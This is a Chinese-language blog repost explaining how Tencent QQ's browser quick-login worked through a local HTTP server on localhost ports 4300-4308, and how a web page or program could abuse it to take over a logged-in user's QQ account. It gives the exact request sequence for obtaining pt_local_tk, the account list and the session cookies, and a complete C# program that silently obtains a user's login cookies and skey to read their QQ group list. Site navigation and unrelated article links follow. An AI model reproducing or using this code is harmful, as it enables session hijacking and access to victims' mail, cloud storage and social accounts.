web安全:QQ號快速登錄漏洞及被盜原理

来源:http://www.cnblogs.com/1996V/archive/2017/09/06/7481823.html
-Advertisement-
Play Games

為什麼你什麼都沒乾,但QQ空間中卻發了很多小廣告?也許你的QQ賬號已經被盜。本文將講解一個QQ的快速登錄的漏洞。 我前陣子在論壇上看到一個QQ的快速登錄的漏洞,覺得非常不錯,所以把部分原文給轉到園子來。 而利用這個漏洞最終可以實現,只要你點擊一個頁面或運行過一個程式,那麼我就可以擁有你的登錄許可權。可 ...


為什麼你什麼都沒乾,但QQ空間中卻發了很多小廣告?也許你的QQ賬號已經被盜。本文將講解一個QQ的快速登錄的漏洞。

我前陣子在論壇上看到一個QQ的快速登錄的漏洞,覺得非常不錯,所以把部分原文給轉到園子來。

而利用這個漏洞最終可以實現,只要你點擊一個頁面或運行過一個程式,那麼我就可以擁有你的登錄許可權。可以直接進你郵箱,進你微雲,進你QQ空間等....

 

看懂本篇需要一點點web安全的基礎,請移步我的上篇

web安全:通俗易懂,以實例講述破解網站的原理及如何進行防護!如何讓網站變得更安全。

  http://www.cnblogs.com/1996V/p/7458377.html

 

 

眾所周知,Tencent以前使用Activex的方式實施QQ快速登錄,在一個陌生瀏覽器上使用,第一件事就是安裝QuickLogin控制項。

Activex是插件的意思,比如如果有這個的話,你可以通過瀏覽器打開一個文檔之類。而QuickLogin就是騰訊用來快速登錄的Activex。

就在不知道什麼時候,快速登錄突然不用控制項了。

當時很疑惑,Tencent用了什麼奇葩的方法做到Web和本地的應用程式交互呢?

在沒有插件的情況下,Web頁面應該無法直接和本地的應用程式直接交互(除非定義協議,但也只能調起,不能獲取程式提供的結果)。
在機緣巧合下(好吧就是閑著無聊看任務管理器發現了本機的httpd,發現Apache在運行的時候)突然意識到了一種可能:如果QQ在本地開了個埠,做了個Web伺服器,也就是符合HTTP協議的TCP服務端,然後網頁ajax向那個QQ(此時作為Web伺服器)發起請求,是不是就可以獲得結果呢。

httpd是是Apache超文本傳輸協議(HTTP)伺服器的主程式。被設計為一個獨立運行的後臺進程,它會建立一個處理請求的子進程或線程的池。

結果真的就是這樣,



網頁JS向http://localhost.ptlogin2.qq.com(埠從4300-4308,一個個試試到成功)發起GET一個請求
ping一下就會發現是127.0.0.1,一查埠,確實是QQ在用。

第一個請求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 來自cookie,管他是什麼東西;r就是個隨機數

返回的結果是個JSON數組:
var var_sso_uin_list=[{"account":"登錄的QQ賬號","face_index":-1,"gender":0,"nickname":"你的QQ昵稱","uin":"還是你的QQ賬號","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);

然後用http://ptlogin2.qq.com/getface來獲取QQ頭像,這裡不做討論

這樣你的QQ信息就能顯示在Web頁面上了。

當你按下你的頭像(選擇這個登錄的時候)

下列請求產生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ號&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同樣的,r是隨機數,pt_local_tk是來自cookie,local_token
這個請求做什麼事情呢?


嗯,Set-Cookie。


然後繼續請求
http://ptlogin2.qq.com/jump?clientuin=你的QQ號&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
這裡唯一的u1就是目標地址

這個請求將返回所有需要的cookie,至此你就登錄成功了。

這些Cookie就相當於令牌,有了這個令牌就可以擁有快速登錄的許可權,就相當於你登錄一般的網站,賬號密碼進去,後臺會給瀏覽器註冊一條Token來做狀態驗證一樣。

也就是說,拿到了Cookie,你就可以通過CSRF(跨站偽裝)的形式,來搞好多事情。

可以在網站上放一個頁面,裡面跑http請求,或者搞個窗體,裡面也跑http請求。

只要你電腦上登錄了QQ,只要你打開了這個頁面或者打開了這個窗體,那麼你的賬號就已經被入侵!

不需要輸入賬號密碼,可以直接拿著QQ空間發表留言的介面直接調用,可以直接爬蟲抓相冊圖片,可以進微雲等等等等。

 

 

 

我再放個 論壇上的一個人根據這個漏洞進行的實例,

他做的是QQ群的一個驗證的實例

思路是:訪問任意QQ網站登錄都會在本地產生Cookie,

然後獲取這個Cookie中的pt_local_token

進而獲取一切。

public static bool VerifyQQGroupYesNo(string VerifyQQGroupNum)
{
            /// <summary>
            /// QQ群授權驗證YesNo
            /// </summary>
            bool YesNo = false;
            ///隨機數處理
            Random random = new Random();
            string randomstr = (Convert.ToDouble(random.Next(1, 99)) / Math.PI / 100).ToString();
            try
            {
                ///定義string類型pt_local_tk 、localhost_str 
                string pt_local_tk = string.Empty, localhost_str = string.Empty;
 
                //QQ會員中心Url
                string LoginUrl = "http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self";
 
                //Get方式Http1.1訪問QQ會員中心
                Zmoli775.HTTP.GetHttp1_1(LoginUrl);
 
                //獲取訪問QQ會員中心生成Cookies->pt_local_tk值
                pt_local_tk = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qq.com"))["pt_local_token"].Value;
          
                /*
                https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081
                */
 
                //自動登錄[1]->返回QQ號、client_type、QQ頭像代碼face_index、性別、QQ昵稱、uin、uin_flag
                localhost_str = Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl);
   
                //正則截取返回JSON字元串
                if (!string.IsNullOrEmpty(localhost_str = Regex.Match(localhost_str, "(?i)(?<=var_sso_uin_list=).*?(?=;)").Value))
                {
                    JArray JArray = (JArray)JsonConvert.DeserializeObject(localhost_str);
 
                    for (int i = 0; i < JArray.Count; i++)
                    {
   
                        //自動登錄[2]->var_sso_get_st_uin登錄失敗返回:ptui_qlogin_CB('-1', 'http://qun.qzone.qq.com/group', '登錄失敗,請稍後再試。*');
 
                        string var_sso_get_st_uin = Zmoli775.HTTP.Get("http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=" + JArray[i]["account"] + "&callback=ptui_getst_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl);
 
                        //登錄目標地址
                        string LoginDestinationAddress = "https://ssl.ptlogin2.qq.com/jump?clientuin=" + JArray[i]["account"] + "&keyindex=9&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup&pt_local_tk=" + pt_local_tk + "&pt_3rd_aid=0&ptopt=1&style=40";
  
                        //登錄目標地址Referer
                        string LoginDestinationAddressReferer = "https://ui.ptlogin2.qq.com/cgi-bin/login?appid=549000912&daid=5&style=12&s_url=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup";
 
                        //LoginOK登錄成功返回訪問地址生成關鍵Cookies
                        string LoginOK = Zmoli775.HTTP.Get(LoginDestinationAddress, LoginDestinationAddressReferer);
                         
                        //正則截取Url
                        string skey = Regex.Match(LoginOK, "(?i)(?<=ptui_qlogin_CB\\('0', ').*?(?=',)").Value;
                    
                        if (!string.IsNullOrEmpty(skey))
                        {
                            //Get方式Http1.1訪問截取Url
                            Zmoli775.HTTP.GetHttp1_1(skey);
                        }
                        ///獲取QQ群頁面產生的Cookies->skey
                        skey = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qzone.qq.com"))["skey"].Value;
     
                        if (!string.IsNullOrEmpty(skey))///判斷Cookies->skey
                        {
                            string QQGroupList = string.Empty, QQGroupListJson = string.Empty;
                            QQGroupList = Zmoli775.HTTP.Get("http://qun.qzone.qq.com/cgi-bin/get_group_list?uin=" + JArray[i]["account"] + "&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F50.0.2661.102%20Safari%2F537.36&random=" + randomstr + "&g_tk=" + Convert.ToString(Zmoli775.HTTP.Getg_tk(skey)) + "", LoginDestinationAddressReferer);
                             
                            //正則取QQ群列表信息
                            QQGroupListJson = Regex.Match(QQGroupList, "(?i)(?<=_Callback\\().*?(?=\\);)").Value;
                  
                            if (!string.IsNullOrEmpty(QQGroupListJson))
                            {
                                JArray Jarray = (JArray)JsonConvert.DeserializeObject(Convert.ToString(((JObject)JsonConvert.DeserializeObject(QQGroupListJson))["data"]["group"]));
                                JArray JA = (JArray)JsonConvert.DeserializeObject(Convert.ToString(Jarray));
                                for (int y = 0; y < JA.Count; y++)
                                {
                                    if (JA[y]["groupid"].ToString() == VerifyQQGroupNum) YesNo = true;///如果獲取到的QQ群號碼和需要驗證的QQ群號碼一致則設置YesNo 值為true
                                }
                            }
                        }
                    }
                }
                if (YesNo)//如果值為true
                {
                    MessageBox.Show("QQ群驗證成功!", "軟體授權提示!", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    return true;
                }
                else
                {
                    MessageBox.Show("QQ群驗證失敗!", "軟體授權提示!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return false;
                }
            }
            catch (Exception)
            {
                MessageBox.Show("QQ群驗證失敗!", "軟體授權提示!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return false;
            }
}



 
作者:小曾
出處:http://www.cnblogs.com/1996V/p/7481823.html 歡迎轉載,但任何轉載必須保留完整文章,在顯要地方顯示署名以及原文鏈接。如您有任何疑問或者授權方面的協商,請給我留言
.Net交流群, QQ群:166843154 欲望與掙扎 

 


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • Now that Visual Studio 2010 SP1 has been released, administrators and developers may wish to install both RTM and SP1 together for a seamless experien ...
  • MUI官方文檔點我 (一)準備工作,下載相關的js、cs文件,地址 (二)新建普通html頁面 1)引入相關js、cs文件 2) 一個input,記錄下id: 3)核心代碼: 這裡註意 selectItems.y.text 取到的是字元串類型,selectItems.y.value取到的是值類型,一 ...
  • 對於一個 .NET開發人員,你可能沒有使用過Docker,但是你不可能沒有聽說過Docker。Docker是Github上最受歡迎的開源項目之一,它號稱要成為所有雲應用的基石,並把互聯網升級到下一代。Docker是dotCloud公司開源的一款產品,Docker從其誕生到現在,短短兩三年的時間里已經... ...
  • switch....case 在一定程度上破壞了代碼的整潔性,為了讓代碼更加簡潔,這裡想到使用鍵值對來對switch.....case進行替換 ...
  • 創建ConsoleDome控制台應用程式 從NuGet包管理器安裝EntityFramework 創建DbContextDome類並繼承DbContext 設置config 創建實體模型 在程式包管理器控制台執行Enable-Migrations來創建Configuration配置ef 最後執行Up ...
  • 使用 SQLServer 會話管理解決 Session 丟失問題 步驟 1.通過命令行執行 aspnet_regsql.exe 程式(不要雙擊安裝),先在 CMD 中輸入命令 再執行 執行成功的結果為: 2.檢查資料庫 自動增加了兩張表。 3.在 Web.Config 中加入代碼 測試 新建一個 H ...
  • 在日常工作中,在編輯文檔時,為了方便自己或者Boss能夠實時查看到需要的網頁或者文檔是,需要對在Excel中輸入的相關文字進行超鏈接,那麼對於一些在Excel中插入的圖片我們該怎麼實現超鏈接呢,下麵給大家分享一個方法: 首先簡單瞭解一下一款叫Spire.XLS的組件,這個組件是由E-iceblue公 ...
  • 前幾天看到一篇博文:C# 爬蟲 抓取小說 博主使用的是正則表達式獲取小說的名字、目錄以及內容。 下麵使用HtmlAgilityPack來改寫原博主的代碼 在使用HtmlAgilityPack之前,可以先熟悉一下XPath:點我 代碼如下: 1 using System; 2 using System ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...